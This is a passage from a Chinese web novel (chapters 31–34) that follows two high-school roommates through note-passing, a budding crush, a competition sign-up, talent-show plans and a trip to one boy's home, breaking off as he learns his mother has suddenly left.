他今晚很有点萎靡,但方笑贻能理解那种状态:他大概狂喜过头,大脑进入“真空”状态了,早点睡挺好的,能早点恢复智商。 然后第二天一早,他果然正常了,又睡平了,闹钟响了,也摁了还不起来。 但又有点不正常,他变得很爱讲小话了。 只是他不是用嘴讲的,而是用一个单词机。 在英语早读开始的第4分钟,他忽然把这玩意推过来,白色的,便签纸大小的一个方块,3/5是电子屏,下面有一个十字、一大两小三个圆圈。 方笑贻不认识这玩意,但垂眼一看,认识上面的字。 [你是怎么认识我爸的?] 方笑贻拿起它转了一圈,又凑到桌子分界线那儿问他:“这啥?” 边煦也凑过来,伸手一按那个大圆圈:“单词机。” 他一摁完,屏幕上的内容就变成了: [Whisper]vt.低声说;vi.低语; [例句]Ive heard a…… 好家伙,方笑贻心想:这下谁知道,它是学单词的,还是传纸条的? 边煦这里,新鲜玩意总是很多,方笑贻也爱学习,立刻与时俱进道:“怎么用的?我看看。” 边煦就教他切词典和中文便签:大圆圈按一下切进切出,同时按两个小圆圈打开输入键盘,十字上下左右摇了,再整个按下选中就行。 两个人就传了一早上电子纸条。 [老杨在四海广场上跟人键政吹牛比,我是他的粉丝] [……原来你好这一口] [老杨为啥会到四海去?] [我不知道,要是知道,也不会让他在那里了] 期间,英语老师看他俩好像在搞鬼,把个东西推来推去,也不动嘴。 就下来抓了一趟,但人一来,方笑贻就拿着那个单词机,又假模假样地开始读:“Unite Unite。” 边煦就在旁边附和:“Unite,团结。” 英语老师也没看出什么来,单词机在一中,就是桌面时钟一样的东西,又走了。 等人一走,方笑贻又凑到桌线上去了:“老师不知道这个可以传纸条吗?” 边煦也凑过来:“不知道,除了刘丞丞他们,大家都不知道,你也别说。” 方笑贻登时就知道了,他把它改装过了。他参加过初中的计算机竞赛,改小元件是小菜一碟。 早读过后,边煦又不见了,顺便把方笑贻也拉走了。 教学楼里到处是人,他根本没安静的空间,跟方笑贻好好聊边扬,除了他在立心楼12层找到的老公共教室。 它是个大的老多媒体教室,木色的连桌连椅,座位前低后高,空间很大、窗户很多,左边墙角,还有一架盖着盖的老钢琴。 方笑贻一路被他拉着跑到门口,有点喘气,但也挺惊喜。 这里非常安静,而且视野很好,透过窗户,可以看到东边的公园和城隍庙。 “原来你下课都猫在这里,”方笑贻收回目光,侧脸去看他,“你挺会享受啊。” 边煦把他往里一个轻推:“现在你也可以来享受了,进。” 从这天起,他的秘密基地,对他爸在四海遇到的小熟人开放了。 30-40 第31章 今早8点39分起,边煦从一个卷王,变成了一个痴汉,一个老杨过去的唠嗑狂。 “你为什么要叫他老杨?他不是姓边吗?” “他在四海住哪里?” “你有没有他的照片?给我看看。” …… 但他的姿态,不讨人厌。 说实话,就他这张脸,稍微客气礼貌一点,很难被讨厌。更何况他眼下近乎是温顺的,语气柔和,而表情和眼神等待。 像个今天什么错误都没犯,只负责乖和帅的哈士奇。 方笑贻即便还在惦记,自己那个远在宿管手里的手机,这一个课间,也得把它往后抛了抛,人作为视觉动物,有时真的没办法。 “我到四海广场上听人键政的时候,别人就已经叫他老杨了。” 他主动坐到里面去了,方笑贻就坐在墙边的过道上,身体侧对着他说:“所以很长一段时间里,我都以为他就姓杨,杨树的杨。” 如果可以,大概他是真的不想当边扬吧? 边煦心里明白,嘴上又说:“嗯。但你又是怎么知道,他其实是姓边的呢?” 方笑贻就把楼顶那个刻字告诉他了。 原来是这样,但边煦又有疑问:“你俩为什么要在那个楼上刻名字?” 又不是去长城旅游。 方笑贻迟疑了一瞬,但极其短暂,就又抬起眼帘,面不改色道:“纪念啊,那个烂尾楼,你不知道吧?那可是国内最大的拆迁烂尾项目,是一个时代的落幕,我俩在那儿见证历史。” 边煦没见过它白天的面目,对此有点理解无能。但撇开这点不置可否,他心里的感受依旧很离奇。他折腾了好多年,找人又花钱,最后凭的却是这张脸,以及一个新同学的感觉。 不过幸好,方笑贻“忽然想起来”了。 边煦注视着他,心里其实很感激,但好几秒后,也没开口说“谢谢”。因为他看着看着,注意力忽然就跑偏了。 方笑贻不可能丑,看杨妙,或者班上那些女生找他买笔时对他那个态度,就知道了。 但这一刻,却是边煦真正头一次,近距离、仔细打量起自己这位室友的五官来。 方笑贻长得,居然非常对称。 他乍一看,给人的感觉就是清爽小伙,并不特别令人惊艳。但多看两眼,就又越看越…… 这一瞬间,边煦脑中才冒出印象。 一只手就忽然从他眼前扫过,同时带来一句:“你咋了?” 边煦心里一惊,回过神,焦距又落进了他眼里。 对面是一双浓黑的大眼睛,睫毛算长的,从眼中到眼尾翅羽般斜挑而出,此刻因为困惑,正撇着嘴地往上一挑。 那片睫毛,登时就仿佛刷到了他心上似的,令边煦心脏瑟瑟而酥痒地缩了下,缩得他人也愣神、心也异样。 少年一瞬间动心,猝不及防也迷茫。 陌生、悸动、异样、心虚、混乱、鬼祟……边煦莫名地不敢继续对视了,恍惚有种要暴露的错觉,于是他本能而猛然,撇开了视线。 可他,能暴露什么啊? 边煦不清楚,但这一撇,落到方笑贻眼里,他就显得更不对劲了。 忽然眼睛就发直了,睫毛瞎眨,还把脑袋一撇,什么意思? 方笑贻实在茫然,问他也不吭声,只能想当然:“不是?在烂尾楼上刻个名字,你也有意见?” 边煦简直哭笑不得:完全,不在一个频道。 但他眼下自己也说不清,只好压下悸动,无奈也是故意的,拖了个整理表情的慢调子:“不是,没有,你不要瞎说了。” “什么瞎说?”方笑贻可不背锅,“谁叫你忽然跟电打了一样,就不动了。” 他是个不依不饶的,边煦只好启动大脑,找了个借口:“我……” “我吃醋了,”他灵光一闪,又理直气壮起来,“你抢了我爸爸。” 神金,有病! 方笑贻眼皮一瞪,就想这么骂他,但,老杨就是有这个病,为此痛苦一生。而且,老杨离开了边煦,也确实在陪自己。 方笑贻气焰霎时萎靡了,但他还是狡辩了一下:“不是我抢的,这是命运的安排,你懂吗?” “不懂,”边煦一撑左边下巴,“你给我赔。” 方笑贻可赔不起,要是抢劫不犯法,他早都去抢金店了。他瞪了边煦一眼,还没站起来走人,铃声就响了。 两人几天不到,又迟到了。 赶上不巧,这节课是语文,李慧严厉,不像高蓬那么惯着他们,他俩从后门溜进来也没用,她专门把他俩点起来,训了一通,并罚站5分钟。 方笑贻其实没什么感觉,他只是长得文气,其实脸皮挺厚的。 但杨妙替他一代入,就觉得他在背后羞愤欲绝,忍不住给他传了张安慰的小纸条。 她没有转身,是用左手绕到右边,放到方笑贻堆起来的课本上的。而纸是半张作业纸,字藏在背面,也不知写了些什么。 边煦本来在走神,还在琢磨公共教室里,自己那一系列吃了毒菌子一样的反应。 他当时觉得方笑贻长得,好看。 方笑贻好看吗? 边煦想着,又偷偷地拿余光瞥他。 实话实说,他好看,是攻击性不强,但越看越耐看的那种长相,这是事实。 可自己觉得一个男的好看,也不是不行,但心里那样,上蹿下跳的…… 就很有点不对劲了。 边煦意识到了,并忽然很想找个地方,给唐悦打个电话。他是会谈情说爱的,已经谈过几个了,并且很像一个情感大师。 边煦现在需要他,但又不能打电话,只好杵在座位上想、理解、消化。 然后,他就全程目睹了杨妙的小动作。 杨妙对方笑贻有好感,那种意思,太明显了。明显到调座位之前,刘丞丞还偷偷地提出过。 他说:“啊?我跟方老板的同桌坐啊?人家,人家愿意跟我坐吗?” 边煦当时,心思还是纯粹的:不愿意也将就吧,谁叫自己得跟方笑贻说酒鬼的事呢? 可转眼边扬就出现了,酒鬼以后不说也行了。但杨妙这种付出,又开始让边煦眯眼睛了。 写了什么? 方笑贻才把纸条拖下来,翻过面,右边手臂外侧就浅浅传来了一点热意。他扭过头,看见边煦倾着上身,正在旁边偷看。 方笑贻:“……” 这礼貌吗?像个b-king该干的事吗? 他立刻斜了边煦一眼,并把纸条往左边拖去。 但边煦悄悄地说:“我已经看见了。” 纸条的字秀丽工整,内容也没什么不能让人看的。 [下课有人买笔: 李欣:夏日绿2/奶油黄2/珊瑚粉2 王佳月:K35水笔-黑5/红2/蓝2] 只是太热心体贴了。 边煦盯了下这张纸,又瞥了眼杨妙的后脑勺,之后就站回去,一脸若有所思。 他思得还挺专心,李老师大发慈悲地在讲台上,拿书他俩一指::“行了,你俩坐下吧,下不为例。” 他也没听见,方笑贻善良地拉了下他侧腰的T恤,才把他拽下来。 下了课,边煦还想上楼去,也拉着方笑贻。 但他哪有这个美国时间,他忙得很:他手机还在宿管那、检讨没写,要卖笔、要搞卖酱的橱窗,还要学习。 “我不去,”方笑贻说,“我要去办公室找高总给我拿手机。” 边煦满脑子都是他爸,上课被杨妙刺激了下,脑子里又多了一个想法,关于他在教室卖东西的。 听到这话,才想起自己的承诺来,边煦站起来说:“你待着吧,我去。” 方笑贻就让他去了,自己则留在座位上,听刘丞丞转过来说:“上一节下课,你跟煦子跑哪儿去了?” 方笑贻不清楚,他知不知道那个教室。 但本能的,他不希望刘丞丞知道,自己也不想告诉他,就撒了个小谎:“去要手机了。” 刘丞丞看他长得清清白白的,被视觉欺骗了:“寝室吗?” 方笑贻:“嗯。” 刘丞丞入戏越来越深:“楼栋长一看就很残忍,你应该直接去找高总的。” 方笑贻害了楼栋长的风评,还在那儿“嗯”:“下回知道了。” 刘丞丞点了下头,又想起个好笑的,幸灾乐祸道:“对了,你被九中的卷王姐姐挂在网上了,你没手机,还不知道吧?” 方笑贻:“……” 为什么要挂他? 然后他拿刘丞丞的手机一看,才发现是因为昨晚,她正在发土味表白:[既然你数学这么好,那我请教你一个我不会的题:我们在一起的概率是多少?] 还没发出来,边煦就下线了。 她觉得他太不给面子,截了个被冷落的现成短视频,就发了个新动态。 [A寻梦]:一中的边某,你不要太不识抬举[挖鼻孔]你逃得过今天,也逃不过六中100年校庆,你完了我跟你讲[刀] 可这其实也算不上挂,评论区都是哈哈哈的,方笑贻看她也就是好玩。 这样还能给自己带几个关注,他乐见其成,只是纳闷:“六中校庆,跟九中和我们有什么关系?为什么边煦会逃不过?” 刘丞丞说:“我们是一个教育集团的嘛,三六九联中集团,谁家校庆,都会派人去的。” 方笑贻说:“边煦不去不就行了?” “你在开什么玩笑?”刘丞丞一抹右边鬓角,好像他那儿有个油背头似的,“就我们这种颜值和身材的双重代表,你想不去?那不可以!” 方笑贻:“……” “别这个表情,”刘丞丞说,“等着吧。你也是个耀眼的壮丁。” 方笑贻还没涨完见识,边煦忽然又从后门口冒了出来:“方笑贻,来,高总找。” 方笑贻就跟着起来了,离开座位之前,他看见杨妙在看自己,就对她点了下头:“谢谢哈,你的纸条。” 第32章 “找我干嘛?” 这会儿有点风,边煦又爱开窗,一对流,他过来的时候,刘海就被掀飞了,校服也都贴到了身上。 边煦人在左边门框后面露了半边,眼睛一下有点忙乱。 又要看脸,方笑贻露出额头的时候,和只露眉头又有点不一样。又要看腰和腿。 但这种打量,暂时和情或欲还没关系,只是一种全新的观察,就像他第一次拆开ebot时,埋头研究说明书那样。 可问题又在于,方笑贻不是机器人。 他会挑眉、瞪眼、揣测、挖苦……边煦眼下还混乱无序,有点怕他,立刻把目光撇开道:“发钱。” 方笑贻这辈子都不会做这种美梦,一记无语,过来把他推开了:“去了没有,你给我补。” 边煦让开说:“行,给你五毛。” 方笑贻看不上这点:“别扯淡了,到底干嘛?” 这时阳光照进走廊,地上一半有光、一半荫凉。 边煦人在光影里,心里却是一团bug。 边扬忽然有音讯了,然后他自己也忽然跟发癫了一样:真的,很突然,在一瞬之间,就莫名上头了,脑子里冒出来一个信号:喜欢。 为此,边煦已经走神了一节课了。 喜欢什么啊喜欢?为什么喜欢?不知道,莫名其妙—— 但方笑贻是不一样的。第一次见面,感觉就不一样。 边煦还记得那天下午,自己在四海气到吐血,但看到他,愤怒忽然就断片了,因为觉得他长得“清晰”。之后每一次打交道,也都是自己,先靠近的他。 这些边煦当时没放心上,现在一想,又像是迹象:他是受方笑贻吸引的,理由不明,玄学一样。 但是方笑贻,是男的。所以自己原来……喜欢男的吗? 边煦还不清楚,初中有男的给他写过情书,他当时跟别人说:自己喜欢女生。但女生,他其实也没有喜欢过的。 所以早上骤然一个躁动,边煦也懵了。但即便懵了,他也想过要躲着方笑贻。 他人生第一次强烈的心动,和性向冲击同时而来,一时之间,竟好像是心动更胜一筹。也许他就是个恋爱脑,又或许性向,还是不如神经病吓人。 边煦尚且能勉力维持住淡定,他说:“学校竞赛班开始选拔了,他问你去不去。” 方笑贻还以为是手机的事,愣了下:竞赛?竞赛要不要钱? 但边煦也心不在焉的,正在看楼下,没注意他的表情。 与此同时,两人穿过第一间办公室门口,里头有老师正在放歌。 Its late in the evening.(夜色渐浓) 那个旋律很耳熟,但边煦走到B205办公室门口才想起来,那是唐悦在爱上怒嗓之前,最爱唱的抒情歌:《Wonderful Tonight》。 它唱的是一个浪漫的夜晚,一个战战兢兢的帅哥,向一个美女求婚的故事。 而他恍恍惚惚,正被一个男的,掰得要弯不弯。 边煦心想:真是一首应景的好歌。 * B205有6张办公桌,左右各三,高蓬坐在进门左边最靠窗的位置。 方笑贻进去没两步,又看见何子谦也在屋里,他站在右边中间的办公桌前,正在扭头看自己。方笑贻没管他,很快到高蓬跟前去了。 “来了啊,”高蓬说着,往他面前的文件堆上放了张纸,“我喊你来干嘛的,边煦都跟你说了吧?” 方笑贻点了下头,垂眼看见那纸上,写的是:高一(1)数理化生信息竞赛选拔报名表。上面已经签了些名字:边煦填的是数学和信息,谢恒填的数学,陈文宣填的生物。 高蓬笑了笑说:“你有意思没?” 方笑贻没什么概念,眯了下眼睛说:“我不懂这个。” 边煦看了他一眼,想插嘴:我待会跟你说。 但又忍住了,没动。 然后高蓬温和地说:“嗯,我知道,我了解过了,你原来的中学不做竞赛。” 但他看过方笑贻初中的档案了,他数学思维应该是不错的,平均分能到115,培养培养,还是挺有潜力的。 所以高蓬又说:“但是现在是个机会,咱们学校,数理竞赛做得还是可以的,每年都能签下10个左右的大学提前批。” 方笑贻也不知道提前批是什么,只好又问。 高蓬刚要回答,背后一个女老师就笑着说:“高老师,你这个学生没有基础啊?” 方笑贻回过头,看见说话的正是何子谦跟前的老师。 不过她倒也没什么恶意,看见方笑贻回头的脸,眼睛还亮了下,又说:“小心跟不上诶。” 谁知高蓬还没表态,何子谦忽然跳了出来:“黄老师不会的,他数学一直挺好的,中考数学还是满分。” 边煦这会才注意到他在,视线微微斜着,心里霎时有点敌意:说不上来,但他不喜欢这个男的。 再一看方笑贻,眉心也微微蹙了下,有点同感的样子。 边煦又才安逸了,头凑头道:“他怎么知道你的中考分数?” 方笑贻哪儿知道?想了下才悄悄回:“可能是谭威说的。” 谭威就是5班那个栗子头,边煦立刻给他打了个标签:大嘴巴。 对面,何子谦眼底有阴翦一闪而过。 不知道为什么,他每次!看见这两人,他们都在交头接耳,很亲密无间的样子。方笑贻还在那个直播间,当着不知道多少人维护他。可那种待遇,以前明明、明明是自己的! 这时,三个学生心下各异,两个老师却只顾惊讶。 “哦?”黄老师是2班的班主任,诧异道,“真的吗?” 高蓬也挺稀奇:“这个同学,你是怎么知道的?” 何子谦心里嫉妒得咬牙,脸上却还笑得出来:“老师,我跟笑贻小时候是邻居,一起长大的。” “哟,”黄老师笑道,“你俩还有这种缘分呢。” 方笑贻表情却瞬间漠然。他不喜欢别人提起以前,尤其是姓何的一家子。 边煦本来也想皱眉了,他非常确定:这个送蛋糕的,在说“我跟笑贻”的时候,故意看他了,有种挑衅的感觉。 但转眼一看,方笑贻脸“唰”的黑了,瞬间又把那姓何的抛一边去了。他把方笑贻看了两眼,想问“怎么了”,这里又不合适,就回过身,从高蓬的桌上够了只笔,说:“高总,他报了。” 说着把方笑贻右手拉起来,笔往里头一塞,再牵到报名表上,笔尖抵在“边煦”下面的空格里,侧脸又催:“快签。” 方笑贻根本还没想报名,转头就想削他的人:签屁啊?竞赛是圆是扁都还没摸清。 但边煦没给他说话的机会,又比了个“打电话”的手势,说:“签了去拿这个,速度点,时间已经快来不及了。” 方笑贻实在需要手机,他没看到家里今天的监控,心里各种惦记,闻言大受诱惑:高蓬总不至于害他,而钱啊后的,管它的,大不了去选拔的时候,他考个不及格出来。 然后他就“唰唰的”签了个名字,再火烧屁股地跟着边煦跑了。 高蓬一边服了他俩,一边又觉得:年轻真好啊,拉帮结伙、跑得飞快。 而对面,何子谦冷眼看他俩消失,垂在身侧的右手,也狠狠攥成了拳头。 * 五分钟后,方笑贻拿回了他的手机,并再次光荣地迟到了。但边煦也迟到,他俩也不知道是谁在害谁。 方笑贻心想:不能再这样了,太堕落了。 于是下个课间,他死也不出去了。一下课就把手机塞在桌缝里,偷偷又迅速拉了下监控,见一切正常,才又爬起来,蹭蹭往[性感小方]上面发了酱瓶子图片。 边煦在溜和不溜之间,终于也还是选择了留下。 很快,方笑贻发了个动态,听见他凑过来说:“班上的人找你买东西,你为什么不拉个群,用ai客服?” 这样他就省事,也不用麻烦杨妙了。 方笑贻一听这么解放生产力的事,立刻来了兴趣,也不发酱图了,转头说:“那当然是因为我不会了。” 边煦说:“我会啊。” 方笑贻眼睛一亮,就是巴结:“你是神,帮我弄。” 边煦趁火打劫:“好处呢?” 方笑贻沉吟一瞬,小声说:“周末我带你去那个楼顶。” 说起来,他家里还有老杨一点东西,一张照片、一小沓信纸。但他怕边煦一听,就要立刻逃课去自己家,所以周末再给他好了。 边煦不知道还有这些,讨价还价道:“周五。” 周五下午也算放假了,方笑贻说:“行。” 但v信群捏ai客服,需要电脑,边煦没带,他说可以去问高总借,或者叫李叔给他把电脑送来。 方笑贻觉得他实在是个夸张的行动派,笑得不行:“算了吧,又不是什么日入几千万、忙出幻影的生意,放了假再弄。” 边煦这才作罢了。方笑贻又好奇,是怎么弄的,一直问他。 边煦就给他找了个“deepseek接入微信,定制ai客服”的短视频。 方笑贻看了半遍,他根本不爱看,只要边煦会就行了,他转头去搜竞赛的东西了。 然后又是老杨又是竞赛,这一周信息量爆炸,他跟边煦也一天到晚在嘀咕。方笑贻自己没觉得,是刘丞丞每天都在吐槽:“你俩又又又又在说什么啊?” 边煦无情得很:“没你的事,转回去。” 刘丞丞非不:“切,我问方老板,又没问你。” 只是方老板更不是人:“V我10元,告诉你。” 刘丞丞麻了:“你们这两男的,我真的绝了。” 方笑贻一乐,眨眼就到了周五下午,放假的快乐已经在教室里弥漫了。 放学之前,高蓬开了个班会。 “下个月,六中校庆,我们也要选代表参加,你们谁有什么才艺的?都不要藏着掖着,会乐器的,下周带来展示展示。” 班上立刻叽喳开了。 谢恒说:“群众举报,陈文宣会跳街舞。” 有人又喊:“王佳月会唱美声。” 还有会弹钢琴、吉他、吹长笛的,挺多人都有才艺。 方笑贻是什么都不会的。他姐倒是会一点扬琴,但他爸去世之后,就没学了。 边煦也没吭声,一副卧龙凤雏的样子。 但刘丞丞转过头来说:“你这一星期都非常冷落本宫,你说我举不举报你?” 边煦警告了他一眼:“你闭嘴。” 方笑贻倒是不意外,只是不知道他会什么。 钢琴吧,一般有钱的,都会这个。 第33章 因为边煦说闭嘴,方笑贻当时就没问,哪怕他心里还是有一点点好奇的。 练字、才艺和成绩这些,都是需要花大时间来沉淀的,边煦哪来的这么多时间? 杨妙心里也很羡慕,在她看来,有才艺=自信张扬。 边煦已经长成这样了,家里有钱、成绩又好,还有暂不知名的才艺,她实在不知道,老天爷给他关了哪扇窗? 好在,她视线的终点不是边煦,他太优越、遥不可及,不像方笑贻这样,相似得安全。 于是浅浅羡慕完,杨妙继续转眼,小声地问了一句:“方笑贻你呢?你会点什么?” 方笑贻本来还在看刘丞丞和边煦说话,闻言看向她,坦然又摆烂:“我啥也不会。” 杨妙嘴角一翘,刚要说:我也是。 边煦却忽然插过来说:“你会赚钱。” 方笑贻瞬间被他整笑了,偏头又去看他,先不说自己才赚了几毛,方笑贻只说:“赚钱也能算才艺?” “算啊,”边煦回望道,“会赚钱,是顶级能力。” 方笑贻乍一听,以为他在开玩笑,可看他的眼睛和表情又不像,只好啼笑皆非道:“谁跟你说的?听起来怎么这么扯淡?” 边煦却是真这么想的。他虽然没有去挣过钱,但这几年逢年过节的主题,却都是听长辈们聚在饭店里,说生意多难做,那些网红年轻人又多厉害,太会赚钱。 而方笑贻是有那种财商方面的嗅觉的,边煦心里是这么信的,论据就张口就来:“Ocean寰宇资信的ai数字人说的,人这辈子,只有赚钱值得研究。” 方笑贻顿时觉得,他大少爷真是太搞笑了:一毛钱怕是没挣过,还在这里夸夸其谈。 但边煦在夸他,被夸总是令人开心的,所以,方笑贻嘴里说着:“啥啊,完全不知道你说的是谁。” 可杨妙看他脸上,有笑意正在冒出来。 边煦又说:“是一个ai做的老头,长得有点像巴菲特,你就说吧,赚钱值不值得研究?” 方笑贻根本无力反驳,只好笑得扶了下额:值得,他一直在研究,研究好几年了。 杨妙见状,心里就酸酸涩涩地想:边煦懂得真多,怪不得方笑贻跟他总有话说。 前面,刘丞丞看了会热闹,被边煦封了口,回头又把马嘉楠出卖了,他说马嘉楠会弹吉他。 高蓬于是把名字被提到的,全部点了一遍:“那你们星期天来的时候,都把家伙带上,晚上第一节自习,咱们开个小文艺晚会。谢恒,你负责组织一下,提前一点来,把桌子挪开、节目也排一排,争取一节课内全部搞定,好吧?” 谢恒坚定得像个兵:“保证完成任务!” 高蓬又啰嗦了两句,叫大家回家路上注意安全,就放学了。 离开教室,方笑贻跟边煦回寝室去收东西。 刚出教学楼,方笑贻接到个电话。 是谭威打来的,电话那边,谭威说:“方儿,还没走吧?” “没,”方笑贻问他,“怎么了?” “那就好,”谭威说,“我姑家今天聚会,我爸来接了,你出来了到公交站那个丁字路口右边等我,我捎你走,还有杨妙。” 坐车肯定比公交车舒服和快,方笑贻“好”完才反应过来,边煦今天也是要去四海的。 他怎么去? 方笑贻挂了电话,转头问他,结果边煦来了句:“我家里也有人接,你跟我一起走。” 可那天直播,他被扒的时候,有网友贴过檀溪的位置,离学校这里并不是很远。 这么近都要接吗? 方笑贻没见过富哥的生活,好奇道:“你是不是从小到现在,上学都有人接?” 边煦看了他一眼,没吭声。 确实,基本都是有的。 以前他还住檀溪的时候,要马不停蹄地去学东西,作业辅导、竞赛培优、练琴、做体能训练。有时还要去看病,因为于静涵觉得他有这病那病。后面去盛芝华那边住,她住得又远,在东四环外,不方便。 方笑贻闻言,脑中“噌”地冒出一句话,然后自己把自己逗乐了。 边煦看他忽然先是闷笑,接着肩膀都在抖,就莫名地看了他几秒,很快自己也跟着笑了,语气是种嘟囔的柔软:“抽什么疯呢你?” 方笑贻笑够了,才来揶揄他:“没什么,只是‘少爷已经15年没坐过地铁了’,我有点震撼。” 边煦立刻斜了他一眼:他没看出方笑贻的震撼,只看到他在玩梗。 还是个烂梗。 并且他对自己,还有错误的认知。 边煦动了心思,不想被他误解,无语完了,又纠正道:“别瞎震撼,我坐过地铁。我在四海碰到你那天,就是坐地铁去的。” 方笑贻其实是信的。 边煦作风其实还算朴素,2k5的闹钟他也买,自己箱子里几毛一包的辣条,他也吃,就是被辣得要命。方笑贻后来就不给他吃了,因为他有皮肤病,应该少接触辣椒素。 但他那个无语的表情挺好笑的,方笑贻还没玩够,又说:“地铁不重要,重要的是车。” 边煦没get到:“……车怎么了?” 方笑贻说:“车是不是劳斯莱斯幻影?然后司机会带着白手套下来开门,说‘少爷请上’……” 什么啊这都是? 边煦听不下去了,伸手把他后脑勺一包,再往前一扒:“想什么呢你?还劳斯劳斯幻影。” 方笑贻脑袋被扒得往前一栽,头发翘飞,人也笑了:“不是幻影,那我一会坐什么?” 可他笑起来很明媚,牙齿碎碎的,白得很,右边嘴角还有个弦月状的小窝。 边煦心里痒痒的,很想伸手去戳,但理智还在,只把手又搭在他脑袋上,给他把翘毛捋顺了,同时嘴里说:“坐红旗,H5,安全又爱国。” 方笑贻本来觉得他烦死了,老在自己头上扒拉什么?但他一开口,方笑贻那狗屎一样的笑点又被戳中了:坐个车而已,上升啥啊? 于是等他笑完,边煦早都摸完了。 * 方笑贻又给谭威打电话了,说他跟同学有点事,叫谭威先走,不要等他了。 谭威没料他这么反复无常,八卦道:“跟谁呀?有啥事?” 如果边煦没同意,方笑贻不方便把他和老杨的事告诉谭威,只好推脱是数学竞赛。 谭威一听是正事,叫他去搞,很快挂了。 可这事杨妙不知道,她还在学校大门口,等方笑贻一起去路口。然而等到5点36,方笑贻是出来了,但边煦在旁边亦步亦趋。 杨妙就给他俩都打了招呼:“嗨。” 方笑贻却以为她在这里等公交,还挺纳闷:“你怎么在这儿啊?谭威没有跟你说,今天可以捎你走吗?” 杨妙不好意思说在等他,只好编了个借口:“说了的。我刚碰到室友,说了会儿话,她刚刚走了。” 其实她这回,掩饰得挺自然的。但太巧了,边煦立刻瞥了她一眼。 只有方笑贻不疑有他,“哦”了下,说:“那你赶紧去路口吧,免得谭威等你。” 杨妙这才听出不对来,愣了下,刚把他和边煦同时一打量,还没开口,跟前的路边就慢慢滑停来一辆黑色的SUV。 车窗同时降下来,驾驶席上是个穿蓝色短袖衬衣的光头大叔,他冲这边招了下手。 边煦立刻也挥了下,并说了句:“李叔,等一下。” 然后杨妙才反应过来,问他俩:“你们……是要去哪儿吗?” 方笑贻说:“嗯,有点事。” 边煦登时就发现了,杨妙可能没什么威胁。 方笑贻还会给谭威编个借口,但对她,除了多一点对老乡的关照,他态度上和对其他女同学没什么不同。 这样挺好,边煦大度地让李叔把杨妙捎到了路口。只是她坐副驾,而他自己和方笑贻坐后面。 上了车,他也不说不回家。只叫李叔把女同学放到丁字路口。 司机老李一边“好好好”,一边又憨憨地笑道:“阳阳,这两位是?” 没办法,太稀奇了,这好像还是他第一次,搭边煦的女同学。 然后这女娃长得嘛—— 老李偷偷的,还没观察完,又从后视镜里,见他把右手往那个男孩肩膀上一搭,说:“这我同桌和室友,方笑贻。那是刘丞丞的同桌,叫杨妙。” 老李在他家年数多了,一听他这个“你啊我的”,立刻就看出来了:他待见的是那个男孩子。 不过男的女的都行,老李心想:只要能交上新朋友。 没几分钟,路口到了,杨妙道完谢,下车了。 边煦这才叫老李改道,去四海大市场。 老李已经从盛芝华那里得知了,他已经找到了边扬过去的行踪,闻言也不意外,立刻改了导航,只说:“那你们晚饭怎么吃呢?” 现在只要有手机,里头有钱,哪里没有一口吃的呢? 但边煦眼帘一动,诡计多端地转头说:“我点个外卖,上你家吃,你顺便把东西放了,我俩吃完就骑电瓶车过去,怎么样?” 而放东西只是借口,实际上,他是想去方笑贻家里看看。 方笑贻一想,也很干脆:“行。” 哪怕他不去给方雪晴送饭,也还得给边煦拿东西,并且老杨那里,大半年没人住了,那个供电的电瓶肯定没电了,他最好是回家拿个换的。 不然回头天黑了,那楼顶乌漆嘛黑的,连个灯都没有。 边煦搞不好,又哭了。 35分钟后,老李把车停在了方笑贻遇到边煦的那个巷子口,里头太窄,开不进去了。 “李叔,你回吧,我这边看完了,打个车就回去了。”边煦弯腰站在副驾窗口那,手里提着两个礼盒。 这是他从车后备箱里顺的,而方笑贻看他提着礼盒那样子,心里就感觉他太小题大做了。 不是,就上去吃个外卖,为什么要提……两盒阿胶啊?搞得鬼隆重。 但是边煦非要提,他说:“上门不空手。” 方笑贻额头上都是黑线:“你实在不行,上天福超市买个特仑苏,不行吗?” 边煦不行,方笑贻家照顾过边扬,他心里是很感激的,这点东西,只是一个心意。其实他还提了两盒鱼油,但方笑贻给他拽回去了。 边煦也就算了,提着阿胶,跟他去了天福超市,边煦把点的外卖定在这里了。 方笑贻也不知道他点了什么,只是才转过巷子弯,就见老板王叔冲路那边张望完,回头一看见他,立刻又喜又急道:“诶唷,乖乖!你回来得正好,你妈刚刚骑个电瓶车,横冲直撞地就出去了,我喊她,她也不理我,我看着不太对劲呢。” 方笑贻心里咯噔就是一下,他有种预感:抢孩子的,大概是来了—— 第34章 方笑贻用力闭了下眼睛,理智极力克制,想让自己冷静,但心跳瞬间变快了,嘴角也止不住地想往上扬。 真来了吗? 他心想:来了好! 天知道,他其实一直等,等这个“靴子”落下来—— 他猛地把手提袋和背包都甩到了地上,期间蹲到地上,一边去包里找钥匙串,一边抬头急迫地说:“边煦你在这……” 等我。 可他没说完,边煦就打断了他:“你去哪儿?我也去。” 方笑贻下意识就摇了下头。他家里那些难堪的事,他不想让人看见,包括边煦。 边煦却忽然撂下礼盒,弯腰凑向他说:“方笑贻,我也去。” 方笑贻看着他逼近的脸,心里霎时有点茫然:“你去干什么?” 边煦也不知道,他只是觉得这一刻,自己应该在而已,就把手往膝盖上一撑:“我去帮你,不管是什么事?总有我帮得上忙的地方。” 方笑贻不是不相信,他只是很清楚,别人的帮忙有用,但不多。而他也不知道,在这件事里,再多搅合进一个边煦的意义,在哪里?边煦甚至都不是四海本地人,而他自己有人可找。 席子、店面的邻居、网吧的老袁,和经常上店里买东西的老哥…… 只是他还没说话,边煦没等到回答,又来了句:“快同意,我要去。” 方笑贻登时被气笑了,有点无奈:“你长得这么高冷,怎么这么死皮赖脸的?” “还能是怎么?”边煦也无奈,“我关心你呗。” 方笑贻心下一软,也瞬间领悟到了,他天天让刘丞丞滚来滚去,而刘丞丞依旧对他死心塌地的原因:边煦是个攻心的天赋选手,他寻常啥也不干,一干点什么,又很精准戳心。 方笑贻又抵抗了两秒,也没能防住他,只好摆烂了:“你要去也行,但你不要问我很多问题,我现在心里很烦。” “我懂~”边煦语气很纵容,把他拉起来了,“不问你,我当哑巴。” 但方笑贻不许他当哑巴,因为他不会骑电瓶车。 那电瓶车是方笑贻问天福叔借的,老头家就在两户开外,方笑贻把它推到路上,问他:“会开吗?” 边煦打量着这辆粉色的爱玛电动:“我没开过这种,但我开过新能源摩托,应该,差不多吧?” 方笑贻又不知道了,他又没开过新能源摩托?安全起见,就还是他开,边煦坐后头听他指挥。 “我锁屏密码,102030,你进微信,给我姐打个视频。” 边煦打了,没人接。 方笑贻又说:“你再给我妈打个电话看看?‘电话’那里就有,她叫‘王大姐’。” 但“王大姐”也没接。 这种时刻联系不到人,人就很容易过分焦虑。 